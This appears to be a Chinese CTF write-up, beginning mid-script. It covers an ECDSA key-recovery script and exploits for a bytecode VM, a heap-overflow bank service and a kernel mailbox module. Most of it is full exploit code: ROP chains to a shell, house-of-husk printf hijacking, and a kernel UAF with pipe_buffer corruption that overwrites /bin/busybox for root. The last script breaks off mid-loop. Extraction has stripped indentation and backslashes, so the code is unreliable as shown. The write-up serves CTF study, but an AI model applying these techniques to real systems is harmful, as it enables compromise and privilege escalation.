z1 = int.from_bytes(d1, "big") % n
z2=int.from_bytes(d2, "big") % n
k_diff= (int.from_bytes(d1[:16], "big") - int.from_bytes(d2[:16], "big")) % n
s1_candidates= [s1, n - s1]
s2_candidates = [s2, n - s2]
recos = []
for s1_ in s1_candidates:
for s2_ in s2_candidates:
s1_inv = inverse_mod(s1_, n)
s2_inv = inverse_mod(s2_, n)
num = (k_diff - ((z1 * s1_inv - z2 * s2_inv) % n)) % n
den= (r1 * s1_inv - r2 * s2_inv) % n
den_inv= inverse_mod(den, n)
d = (num * den_inv) % n
k1= (z1 + r1 * d) * s1_inv % n
k2= (z2 + r2 * d) * s2_inv % n
seckey= d.to_bytes(32, "big")
recos.append(seckey)
return recos
def decrypt_flag(seckey):
iv = seckey[:16]
key = sha256(seckey).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
return cipher.decrypt(encrypted_flag)
def main():
seckey = recover_seckey()
for sec in seckey:
decrypt_flag_result = decrypt_flag(sec)
print(f"解密后的标志: {decrypt_flag_result}")
if __name__ == "__main__":
main()
UnintializedVM
经过逆向可以得到如下结构体
structvm_buf
{
char code[256];
charstack[2040];
char end[8];
};
structvm
{
unsigned __int8 **PC;
unsigned __int8 **SP;
unsigned __int8 **stack_base;
size_t reg[8];
};
注意case36其功能相当于memcpy(stack[reg[dest]] , stack[reg[src]] , size - 1) (0<=dest,src,size<=0xff)
当src的值为0xff时存在越界读,当dest的值为0xff存在越界写:
当执行2次expand后,堆布局如下,那么我们可以利用越界读,将libc的地址写到stack上,同时,在stack上也会有一个fake vm,利用pop功能,将libc的值放入到寄存器中,方便后面的利用。
接着修改stack上的fake vm的sp为libc.sym['__environ']-8, 利用越界写将fake vm写回到vm中(注意此时需要确保stack_base >= sp,同时在将fake vm写回vm时 ,要注意恢复pc指向正确的值),即可使sp指向libc.sym['__environ']-8。
然后利用pop 功能即可获得栈地址,获得栈地址后,利用上述相同的手法将sp 指向ret_addr-0x18,利用push功能写入rop链即可。
exp:
from pwn import *
context.arch='amd64'
context.log_level='debug'
filename = "./vm_chall"
libcname = "./libc.so.6"
host = "uninitialized_vm.eng.run"
port = 8274
elf = context.binary = ELF(filename)
if libcname:
libc=ELF(libcname,checksec=False)
gs='''
'''
defstart():
if args.GDB:
return gdb.debug(elf.path,gdbscript=gs)
elif args.REMOTE:
return remote(host,port)
else:
return process(elf.path)
context.terminal=["tilix","-a","session-add-right","-e"]
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
dbg = lambda text=None : gdb.attach(p, text)
uu32 = lambda : u32(p.recvuntil(b"xff")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(p.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
lg = lambda s : info(' 33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
pr = lambda s : print(' 33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
defmydbg():
gdb.attach(p,gdbscript=gs)
pause()
p = start()
defjmp(index):
return p8(0x45) + p8(index)
defsub(reg_dst,reg_src):
return p8(0x44) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] -= reg[reg_src]
defadd(reg_dst,reg_src):
return p8(0x43) + p8(reg_dst) + p8(reg_src) #reg[reg_dst] += reg[reg_src]
deflhr(reg_dst,reg_src):
return p8(0x42) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] <<= reg[reg_src]
defshr(reg_dst,reg_src):
return p8(0x41) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] >>= reg[reg_src]
definversion(reg_dst,reg_src):
return p8(0x40) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] = ~reg[reg_src]
defxor(reg_dst,reg_src):
return p8(0x39) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] ^= reg[reg_src]
defor_func(reg_dst,reg_src):
return p8(0x38) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] |= reg[reg_src]
defand_func(reg_dst,reg_src):
return p8(0x37) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] &= reg[reg_src]
defmemcpy_func(reg_dst,reg_src,size):
return p8(0x36) + p8(reg_dst) + p8(reg_src) +p16(size) # memcpy(stack[8 * reg_dst & 0xff ],stack[8 * reg_src &0xff ],size)
defset_imm(reg_dst,imm):
return p8(0x35) + p8(reg_dst) + p64(imm) # reg[reg_dst] = imm
defmov(reg_dst,reg_src):
return p8(0x34) + p8(reg_dst) + p8(reg_src) # reg[reg_dst] = reg[reg_src]
defpop(reg_dst):
return p8(0x33) + p8(reg_dst)
defpush_imm(imm):
return p8(0x31) + p8(imm)
defpush_reg(reg_src):
return p8(0x32) + p8(reg_src)
defexpand():
return p8(0x46)
ru("[ lEn? ] >> ")
vm_code=set_imm(4,0xe0)+expand()
sl(str(len(vm_code)))
ru("[ BYTECODE ] >>")
s(vm_code)
ru("[ lEn? ] >> ")
vm_code=set_imm(5,0xe3)+expand()
sl(str(len(vm_code)))
ru("[ BYTECODE ] >>")
s(vm_code)
ru("[ lEn? ] >> ")
vm_code=set_imm(0,0xff)+expand()
sl(str(len(vm_code)))
ru("[ BYTECODE ] >>")
s(vm_code)
ru("[ lEn? ] >> ")
vm_code=set_imm(1,0xe0)+expand()
sl(str(len(vm_code)))
ru("[ BYTECODE ] >>")
s(vm_code)
ru("[ lEn? ] >> ")
main_arena_offset=0x1e6b20
env_offset=libc.sym['__environ']
vm_code=push_imm(0xfe)*0x20+memcpy_func(1,0,0) # sub sp memcpy(fake_vm,vm,0xff)
vm_code+=push_imm(1)+set_imm(0,0xf0)+set_imm(1,0xdf)+memcpy_func(1,0,9)+pop(6)+push_imm(1)# reg[6]=main_arena
vm_code+=set_imm(0,env_offset-main_arena_offset-8)+add(0,6)+push_reg(0) #stack[0xde * 4] = environ_addr
vm_code+=set_imm(2,0xe0)+set_imm(3,0xff)+memcpy_func(2,3,0) # memcpy(fake_vm,vm,0xff)
vm_code+=set_imm(0,0xe4)+set_imm(1,0xde)+memcpy_func(0,1,9) # memcpy(fake_vm->sp,stack[0xde * 4],8) modify sp = environ_addr
vm_code+=set_imm(0,0xe5)+set_imm(1,0xffffffffffffffff)+push_reg(1)+set_imm(1,0xdd)+memcpy_func(0,1,9) #memcpy(fake_vm->stack_base,tack[0xdd * 4],8) modify stack_base = 0xffffffffffffffff
vm_code+=set_imm(0,0xe3)+push_imm(0x8a)+set_imm(1,0xdc)+memcpy_func(0,1,2) #memcpy(fake_vm->pc,stack[0xdc * 4],1) modify the PC last byte to 0xdc
vm_code+=memcpy_func(3,2,0) # memcpy(vm,fake_vm,0xff) modify the real vm
vm_code+=pop(5)+expand() # reg[5] = stack_addr
sl(str(len(vm_code)))
ru("[ BYTECODE ] >>")
s(vm_code)
binsh=next(libc.search(b"/bin/sh"))
system=libc.sym['system']
pop_rdi=0x000000000010194a
lg("binsh")
lg("system")
lg("pop_rdi")
lg("main_arena_offset")
ru("[ lEn? ] >> ")
vm_code=set_imm(0,0x130-0x18)+mov(1,5)+sub(1,0)+set_imm(0,0x7a)+memcpy_func(2,3,0) # reg[1] = ret_addr-0x18 reg[0] = 0x7a
vm_code+=set_imm(0,0xe4)+set_imm(1,0xe7)+memcpy_func(0,1,9) # memcpy(fake_vm->sp,fake_vm->reg[1],7) modify sp = ret_addr-0x18
vm_code+=set_imm(0,0xe3)+set_imm(1,0xe6)+memcpy_func(0,1,2) # memcpy(fake_vm->pc,fake_vm->reg[0],1) modify the PC last byte to 0x7a
vm_code+=set_imm(2,0xe0)+set_imm(3,0xff)+memcpy_func(3,2,0) # memcpy(vm,fake_vm,0xff) modify the real vm
vm_code+=mov(1,6)+set_imm(0,main_arena_offset-system)+sub(1,0)+push_reg(1) # reg[1]=sys ret_addr-0x18= system
vm_code+=mov(1,6)+set_imm(0,main_arena_offset-pop_rdi-1)+sub(1,0)+push_reg(1) # reg[1]=ret ret_addr-0x10= ret
vm_code+=mov(1,6)+set_imm(0,main_arena_offset-binsh)+sub(1,0)+push_reg(1) # reg[1]=/bin/sh ret_addr-0x8= /bin/sh
vm_code+=mov(1,6)+set_imm(0,main_arena_offset-pop_rdi)+sub(1,0)+push_reg(1) # reg[1]=pop_rdi ret_addr-0x0= pop_rdi
vm_code+=p16(11111)
sl(str(len(vm_code)))
ru("[ BYTECODE ] >>")
# gdb.attach(p, api=True,gdbscript=
# """
# cymbol -l test
# # b *$rebase(0x00001689)
# b *$rebase(0x001874)
# b *$rebase(0x001CEE)
# """)
s(vm_code)
ru("[ lEn? ] >> ")
sl("0")
ru("[ BYTECODE ] >>")
sl("1")
p.interactive()
aaaa
经过逆向可以得到如下结构体
structaccount
{
int id;
char name[50];
double balance_normal_user;
unsigned __int32 type;
unsigned __int32 wtf;
double balance_admin;
};
structtransaction
{
int trans_id;
int account_id;
char reason[20];
double amount;
size_t time;
};
当a2 = MAX_TIER时,程序中存在一个数组越界的漏洞,可以更改下一个chunk的size字段:
首先先创建若干个账户,然后利用上述漏洞修改第一个account chunk的size,更改该账户类型,即可使其进入unsorted bin 并制造堆块重叠。
此时堆布局如下:
由于我们创建账户时 malloc的size 是固定的,而且输入name时,会自动末尾补x00,很难利用现有的功能去泄露地址。
注意到每个功能都会分配一个0x18大小的chunk,执行完相应的功能后释放
set_tier 这里会先通过get_balance去获取余额,获取到余额后才会通过pthread_mutex_lock为线程上锁,
而get_balance中是存在一个usleep(40000)操作的,因此我们可以执行多个set_tier线程,即可从unsorted bin 中分配多个0x18的chunk。
利用上述功能,就很容易的制造出堆叠,再次使用创建账户,将会从unsorted bin中分配走chunk,通过name字段可以控制已分配chunk的头部(包含size、fd、bk)
> 这里0x120的chunk可能和线程的环境变量相关
注意此时的堆布局,可以通过accounts[6]的balance_admin字段泄露libc,如果我们此时从unsorted bin申请走一个account,其name字段可以控制accounts[7]的size、fd以及bk
但是此时并没有得到heap地址,无法通过篡改tcache的fd实现任意地址申请
此时可以利用创建account功能, 从unosrted bin中分配走一个chunk,利用name字段修改accounts[7]的size,然后更改accounts[7]账户类型,即可再次制造一个unsorted bin ,这样上一个unsorted bin 中的bk就变成一个heap地址了
此时堆布局如下所示,通过accounts[0x11]的balance_admin字段泄露heap
现在拥有了任意地址申请和任意地址写的能力,但是由于strncpy的存在,无法在payload中包含 x00,不能使用house of apple进行利用。
注意到create_account函数中会存在调用printf,如果利用house of husk劫持__printf_arginfo_table为一个堆地址,并且在%d (heap_addr+0x64*8)以及%s (heap_addr+0x73 * 8)处布置好数据,可以实现任意两个函数调用
printf("Created account %d for %s (initial tier: 0)n", account_count, a1);
注意到第一次其函数调用时其rdi为栈地址,那么尝试设置heap_addr+0x64*8为gets ,向栈中写入垃圾数据,并观察第二次调用是否能劫持rip 到写入的垃圾数据中
非常幸运,可以发现当第二次调用时, rdx 是一个栈地址,并且指向了我们写入的垃圾数据,那么设置 heap_addr+0x73 * 8 为 mov rsp,rdx ; ret 即可劫持控制流
最终的堆布局如下,利用之前所述的堆重叠,修改fd实现任意地址写,即可控制对应的堆地址为gets以及mov rsp, rdx; ret ,最后修改 __printf_arginfo_table为对应的堆地址即可。
exp:
远程交互时需要将p.sendlineafter修改为p.sendline
from pwn import *
import struct
context.arch='amd64'
context.log_level='debug'
filename = "./main"
libcname = "./libc.so.6"
host = "0.0.0.0"
port = 1338
elf = context.binary = ELF(filename)
if libcname:
libc=ELF(libcname,checksec=False)
gs='''
'''
defstart():
if args.GDB:
return gdb.debug(elf.path,gdbscript=gs)
elif args.REMOTE:
return remote(host,port)
else:
return process(elf.path)
context.terminal=["tilix","-a","session-add-right","-e"]
s = lambda data : p.send(data)
sl = lambda data : p.sendline(data)
sa = lambda text, data : p.sendafter(text, data)
sla = lambda text, data : p.sendlineafter(text, data)
r = lambda : p.recv()
rn = lambda x : p.recvn(x)
ru = lambda text : p.recvuntil(text)
dbg = lambda text=None : gdb.attach(p, text)
uu32 = lambda : u32(p.recvuntil(b"xff")[-4:].ljust(4, b'x00'))
uu64 = lambda : u64(p.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))
lg = lambda s : info(' 33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
pr = lambda s : print(' 33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
defmydbg():
gdb.attach(p,gdbscript=gs)
pause()
CHUNK_SIZE = 24
MAX_BALANCE = CHUNK_SIZE << 1
MAX_TIER = CHUNK_SIZE >> 4
defdecimal_to_float(decimal_value):
return struct.unpack("<d", struct.pack("<Q", decimal_value))[0]
defdeposit(_id, _amount):
p.sendlineafter(b'Enter choice: ', b'2')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
p.sendlineafter(b'Enter amount/type/value: ', str(_amount).encode())
_ = p.recvuntil(b'Deposited')
defshow_info(_id):
p.sendlineafter(b'Enter choice: ', b'5')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
defchange_type(_id, _type):
p.sendlineafter(b'Enter choice: ', b'6')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
p.sendlineafter(b'Enter amount/type/value: ', str(_type).encode())
_ = p.recvuntil(b'Changed account')
defwrite_secret(_id, _secret):
p.sendlineafter(b'Enter choice: ', b'9')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
p.sendlineafter(b'Enter secret value: ', str(_secret).encode())
_ = p.recvuntil(b'Modified reserved')
defcreate_account(_name, _type, _balance):
p.sendlineafter(b'Enter choice: ', b'10')
p.sendlineafter(b'Enter name: ', _name)
p.sendlineafter(b'2=Admin): ', str(_type).encode())
p.sendlineafter(b'Enter initial balance: ', str(_balance).encode())
_ = p.recvuntil(b'Created account ')
_id = p.recvuntil(b' for ', drop=True)
returnint(_id)
defcreate_account_2(_name, _type, _balance,content=b"123213"):
p.sendlineafter(b"Enter choice: ", b"10")
p.sendlineafter(b"Enter name: ", _name)
p.sendlineafter(b"2=Admin): ", str(_type).encode())
p.sendlineafter(b"Enter initial balance: ", str(_balance).encode()+content)
defset_tier(_id):
p.sendlineafter(b'Enter choice: ', b'11')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
defoob_rw(_id, new_val=0):
p.sendlineafter(b'Enter choice: ', b'11')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
_ = p.recvuntil(b'Set tier')
p.sendline(b'14')
p.sendlineafter(b'Enter account ID: ', str(_id).encode())
# input("Press Enter to continue...")
print(type(new_val))
p.sendlineafter(b'Enter new bracket value: ',str(new_val) )
_ = p.recvuntil(b'changed from ')
_leak = p.recvuntil(b' to ', drop=True)
return _leak
p = start()
p.sendlineafter(b'Enter maximum balance for users: ', str(MAX_BALANCE).encode())
user_id_list=list()
for i inrange(24): # 0 - 23
user_id = create_account(b'user'+str(i).encode(), 0, MAX_BALANCE)
user_id_list.append(user_id)
ow_double = struct.unpack("<d", struct.pack("<Q", 0x8a1))[0]
leak = oob_rw(user_id_list[0],ow_double)
change_type(user_id_list[0], 0)
set_tier(user_id_list[1])
set_tier(user_id_list[1])
set_tier(user_id_list[1])
sleep(5)
show_info(user_id_list[6])
ru("Interest Rate: ")
libc_base= u64(struct.pack("<d", float(p.recvuntil(b"%",drop=True))))-0x211b20
lg("libc_base")
user_id=create_account(b'a'*0x14+p64(0x481), 0, MAX_BALANCE)
user_id_list.append(user_id) #24
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #25
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #26
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #27
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #28
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #29
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #30
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #31
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #32
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #33
user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)
user_id_list.append(user_id) #34
change_type(user_id_list[7], 0)
show_info(user_id_list[17])
ru("Interest Rate: ")
heap_base= u64(struct.pack("<d", float(p.recvuntil(b"%",drop=True))))-0x550
lg("heap_base")
system = libc_base+libc.symbols['system']
mov_rsp_rdx = libc_base + 0x0000000000062cbf
size_addr=0x658+heap_base
change_type(user_id_list[0x11], 0)
change_type(user_id_list[0x21], 0)
change_type(user_id_list[0x22], 0)
key=heap_base>>12
user_id = create_account(b"a" * 0x1C + p64((size_addr-0x8) ^ key), 0, MAX_BALANCE)
user_id_list.append(user_id) # 30
user_id = create_account(b"a" * 0x1C + p64((size_addr-0x8) ^ key), 0, MAX_BALANCE)
user_id_list.append(user_id) # 30
user_id = create_account(b"a" * 4+ p64(mov_rsp_rdx), 0, MAX_BALANCE)
user_id_list.append(user_id) # 30
change_type(user_id_list[8], 0)
change_type(user_id_list[20], 0)
change_type(user_id_list[25], 0)
wide_data = libc_base + 0x213700
lg("wide_data")
GADGET = p64(libc_base + libc.sym["gets"])
user_id = create_account(b"a" * 0x1C + p64((wide_data) ^ key), 0, MAX_BALANCE)
user_id_list.append(user_id) # 30
pop_rdi = 0x0011fecc + libc_base
pop_rsi = 0x0012f751 + libc_base
pop_rdx = 0x000b5762 + libc_base
pop_rax = 0x000e5597 + libc_base
syscall = 0x0014472b + libc_base
binsh = 0x1d94ab + libc_base
user_id = create_account(b"a" * 0x1C + GADGET, 0, MAX_BALANCE)
user_id_list.append(user_id) # 31
# gdb.attach(p, api=True,gdbscript='b *$rebase(00x0224B)')
pop_rdi = libc_base + 0x000000000011a79c
binsh=libc_base + next(libc.search(b"/bin/shx00"))
system = libc_base + libc.symbols['system']
payload=b'a' * 0x67 +flat(pop_rdi, binsh,pop_rdi, binsh,
pop_rsi, 0,pop_rdx, 0,pop_rax, 59,
syscall)
# gdb.attach(p, api=True,gdbscript='b *$rebase(00x0224B)')
user_id = create_account_2(
b"a" * 0x4 + p64(heap_base + 0x2C0), 2, struct.unpack("<d", b"x41" * 8),payload
)
user_id_list.append(user_id) # 32
p.interactive()
Kernel-Mailinglists
内核模块实现了一个邮件系统,可以向指定用户发送邮件,也可以订阅某个用户。当用户A订阅用户B后,用户A会储存在用户B的bmailinglist中。被订阅者可以向所有订阅者广播邮件。
漏洞出在删除某个用户时,会将其box相关数据释放掉并从链表中unlink,但是并没有相应清空被订阅者box->bmailinglist,形成UAF。
但是由于题目整体功能实现,writemail函数中,用户可控内容仅放在堆块中,并通过指针方式储存在box中。并不能进行直接利用。(可能也是这道题只有唯一解的难点所在)。
事实上很容易注意到在link_user_frame函数中,存在以下赋值以及link操作:
接下来利用场景变成了,在我们不知道任何地址的情况下,如何利用一个UAF chunk中的link操作提权。最开始我想通过unlink hijack modprobe_path,但是这需要已知一个内核data段地址。而在题目的情景下,在结构体自身没有带任何函数ops情况下,泄露一个内核代码段 or data段地址是非常困难的。
可以看到在__link_user_frame函数中,当box->inboxmails为0时,会将其赋值为一个user_frame堆块的地址。实际上部分覆写这个地址也不能转化成double free,因为被覆写的box已经不在boxlist中,无法再通过remove_mailbox等函数来进行转化。但是这给我们提供了一个泄露内核堆地址的能力。
通过大量喷射box结构体对象,同时全部释放掉,使我们UAF box所在的slab page被回收,后续通过page spray拿回来,内容先全设置为0,此时writemail会触发__link_user_frame在page中写入fr地址,通过读page可以拿到一个内核堆地址。同时释放page并且继续喷page可以持续控制UAF box对象中的所有内容(这个技巧同样在geekcon 2024 final中用到)。
至此我们在拿到了一个内核堆地址的情况下,理论上可以unlink attack所有堆中的对象(适当的页风水后),这里我选择unlink攻击pipe_buffer->flag。具体原理可以查看dirtypipe漏洞成因。事实上在pipe_write中,只会校验flag是否&0x10(PIPE_BUF_FLAG_CAN_MERGE)而fr结构体大小末尾为0x8对齐,因此理论上有1/2的概率堆地址满足我们的攻击条件,能够利用unlink attack成功将pipe_buffer->flag改写为一个堆地址,且能成功写入pipe管道。
由于需要伪造一个box->inboxmails对象,需要用到该对象中的成员变量作为target address进行link,所以我们其实需要知道(成功预测)两个地址:用于伪造box-->inboxmails对象的内核堆地址,一个被spliced的pipe_buffer结构体地址。同样通过page spray来布置伪造box-->inboxmails对象。
由于时间限制&本题复杂的风水,及需要通过user_frame object的内核堆地址预测另外两个内核堆地址,exploit成功率在20%左右。最后覆写/bin/busybox提权。
enum {
INITBOX = 0x1337001,
SENDMAIL,
RECVMAIL,
STAT_SET,
STAT_GET,
SUBSCRIBE,
UNSUBSCRIBE,
};
int pipe_fd[MAX_PIPE_COUNT][2];
int pipe_fd2[0x400][2];
voidspray_pipes(int start, int cnt){
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %dn", __PRETTY_FUNCTION__, start);
for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}
voidspray_pipes2(int start, int cnt){
char *buf[0x1000] = { 0 };
printf("[*] enter %s start from index: %dn", __PRETTY_FUNCTION__, start);
for (int i = start; i < cnt; ++i) {
if (pipe(pipe_fd2[i]) < 0) {
perror("create pipe");
exit(0);
}
}
}
voidpipe_buffer_resize(){
for(int i = 0; i < MAX_PIPE_COUNT; i++){
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0) {
perror("resize pipe");
exit(0);
}
}
}
voidpipe_buffer_init(){
char tmp[0x1000]={0};
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
uint32_t k = i;
write(pipe_fd[i][1],"Lotussss",8);
write(pipe_fd[i][1],tmp,0xff0);
}
}
voiderr_exit(char *msg){
printf(" 33[31m 33[1m[x] Error at: 33[0m%sn", msg);
sleep(5);
exit(EXIT_FAILURE);
}
voidinfo(char *msg){
printf(" 33[34m 33[1m[+] %sn 33[0m", msg);
}
voidhexx(char *msg, size_t value){
printf(" 33[32m 33[1m[+] %s: %#lxn 33[0m", msg, value);
}
voidbinary_dump(char *desc, void *addr, int len){
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf(" 33[33m[*] %s:n 33[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
/* bind the process to specific core */
voidbind_core(int core){
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf(" 33[34m 33[1m[*] Process binded to core 33[0m%dn", core);
}
size_t user_cs, user_ss, user_rflags, user_sp;
/* USERLAND INTERFACING STRUCTS */
structmailentry {
unsigned stat;
unsigned public_key;
};
typedefstructusrctx {
unsigned nprocs;
unsigned nentries;
structmailentryentries [];
} userctx;
typedefstructusrstat {
unsignedshort ctlop;
unsignedshort nextmtype;
unsigned public_key;
unsigned secret_key;
unsigned nmails;
unsigned lenmail;
unsigned lenrmail;
unsigned nsubs;
unsigned submax;
} usrstat;
/* This is for actions init, sndmail, rcvmail, subscribe, unsubscribe, */
typedefstructusrmail {
unsigned flags;
unsigned public_key;
unsignedlong secret_key;
unsignedlong size;
char data [];
} usrmail;
typedefunionusr_info {
usrmail mail;
usrstat stat;
userctx pctx;
} usr_info;
intopen_mailbox(void){
int fd = open("/dev/mailbox", O_RDWR);
if (fd < 0) {
perror("Failed to open mailbox device");
exit(EXIT_FAILURE);
}
// printf("Open fd: %d n", fd);
return fd;
}
voidinitialize_mailbox(int fd, unsigned pub_key, unsignedlong sec_key){
usr_info info;
memset(&info, 0, sizeof(info));
info.mail.flags = INITBOX;
info.mail.public_key = pub_key;
info.mail.secret_key = sec_key;
if (ioctl(fd, INITBOX, &info) < 0) {
perror("INITBOX failed");
} else {
// printf("[+] Mailbox initialized: PubKey=0x%xn", pub_key);
}
}
voidsend_regular_mail(int sender_fd, unsigned target_pub,
unsignedlong sec_key, constchar *message, size_t user_len) {
size_t len = user_len;
size_t total_size = sizeof(usrmail) + len;
usr_info *info = malloc(total_size);
if (!info) {
perror("malloc failed");
return;
}
memset(info, 0, total_size);
info->mail.flags = REGULAR_MAIL;
info->mail.public_key = target_pub;
info->mail.secret_key = sec_key;
info->mail.size = len;
memcpy(info->mail.data, message, len);
if (ioctl(sender_fd, SENDMAIL, info) < 0) {
perror("SENDMAIL (regular) failed");
} else {
printf("[+] Regular mail sent to 0x%xn", target_pub);
}
free(info);
}
voidsend_broadcast_mail(int sender_fd, unsigned pub_key, constchar *message, size_t user_size){
size_t len = user_size;
size_t total_size = sizeof(usrmail) + len;
usr_info *info = malloc(total_size);
if (!info) {
perror("malloc failed");
return;
}
memset(info, 0, total_size);
info->mail.flags = BROADCAST_MAIL;
info->mail.size = len;
info->mail.public_key = pub_key;
memcpy(info->mail.data, message, len);
if (ioctl(sender_fd, SENDMAIL, info) < 0) {
perror("SENDMAIL (broadcast) failed");
} else {
printf("[+] Broadcast mail sent:n");
}
free(info);
}
voidreceive_mail(int fd){
usrstat status;
usr_info info;
if (ioctl(fd, STAT_GET, &info) < 0) {
perror("STAT_GET failed");
return;
}
if (info.stat.nmails == 0) {
printf("[-] No mail availablen");
return;
}
size_t total_size = sizeof(usrmail) + info.stat.lenmail;
usr_info *mail_info = malloc(total_size);
if (!mail_info) {
perror("malloc failed");
return;
}
mail_info->mail.flags = ALLMAIL;
if (ioctl(fd, RECVMAIL, mail_info) < 0) {
perror("RECVMAIL failed");
} else {
printf("[+] Mail received: %sn", mail_info->mail.data);
}
free(mail_info);
}
voidset_mailbox_status(int fd, unsignedshort status){
usr_info info;
memset(&info, 0, sizeof(info));
info.stat.ctlop = status;
if (ioctl(fd, STAT_SET, &info) < 0) {
perror("STAT_SET failed");
} else {
printf("[+] Mailbox status set to 0x%xn", status);
}
}
voidget_mailbox_status(int fd){
usr_info info;
memset(&info, 0, sizeof(info));
if (ioctl(fd, STAT_GET, &info) < 0) {
perror("STAT_GET failed");
} else {
usrstat *s = &info.stat;
printf("[*] Mailbox Status:n");
printf(" Status: 0x%xn", s->ctlop);
printf(" Next mail type: %dn", s->nextmtype);
printf(" Public key: 0x%xn", s->public_key);
printf(" Mails: %un", s->nmails);
printf(" Subscribers: %u/%un", s->nsubs, s->submax);
printf(" Next mail size: %u bytesn", s->lenmail);
printf(" Regular mail size: %u bytesn", s->lenrmail);
}
}
voidsubscribe_mailbox(int subscriber_fd, unsigned publisher_pub){
usr_info info;
memset(&info, 0, sizeof(info));
info.mail.public_key = publisher_pub;
if (ioctl(subscriber_fd, SUBSCRIBE, &info) < 0) {
perror("SUBSCRIBE failed");
} else {
printf("[+] Subscribed to mailbox 0x%xn", publisher_pub);
}
}
voidunsubscribe_mailbox(int subscriber_fd, unsigned publisher_pub){
usr_info info;
memset(&info, 0, sizeof(info));
info.mail.public_key = publisher_pub;
if (ioctl(subscriber_fd, UNSUBSCRIBE, &info) < 0) {
perror("UNSUBSCRIBE failed");
} else {
printf("Unsubscribed from mailbox 0x%xn", publisher_pub);
}
}
/* create an isolate namespace for pgv */
voidunshare_setup(void)
{
char edit[0x100];
int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
size_t buf[0x400];
int fd[FD_NUM];
intmain(){
int file_fd;
file_fd = open("/bin/busybox",0);
// FILE *file;
// const char *filename = "/sh";
// file = fopen(filename, "w");
// if (file == NULL) {
// perror("Error opening file");
// return 1;
// }
// fclose(file);
spray_pipes(0, MAX_PIPE_COUNT);
pipe_buffer_resize();
bind_core(0);
// save_status();
memset(buf, 'G', 0x400);
for(int i = 0; i < FD_NUM; i++){
fd[i] = open_mailbox();
initialize_mailbox(fd[i], i, 0x66);
}
puts("n subscribe mailbox B to An");
subscribe_mailbox(fd[VICTIM_ID], 0);
puts("n Close mailbox Bn");
for(int i = 0x10; i < FD_NUM; i++){
close(fd[i]);
}
pipe_buffer_init();
get_mailbox_status(fd[0]);
send_broadcast_mail(fd[0], VICTIM_ID, buf, 0x400);
char tmp[0x1000];
unsignedlonglong offset,heap_pointer,pipe_idx;
bool pointer_found = false;
for (int i = 0; i < MAX_PIPE_COUNT; ++i) {
ssize_t bytes_read = read(pipe_fd[i][0], tmp, 0xfff);
if (bytes_read < 0) {
perror("[-] Error reading from pipe");
continue;
}
for (int j = 0; j < bytes_read; j += 8) {
uint64_t *p = (uint64_t*)&tmp[j];
if (*p != 0 && (*p > 0xffff800000000000)) {
heap_pointer = *p;
offset = j;
pipe_idx = i;
pointer_found = true;
*(uint64_t*)&tmp[j] = heap_pointer&0xfffffffffffff000;
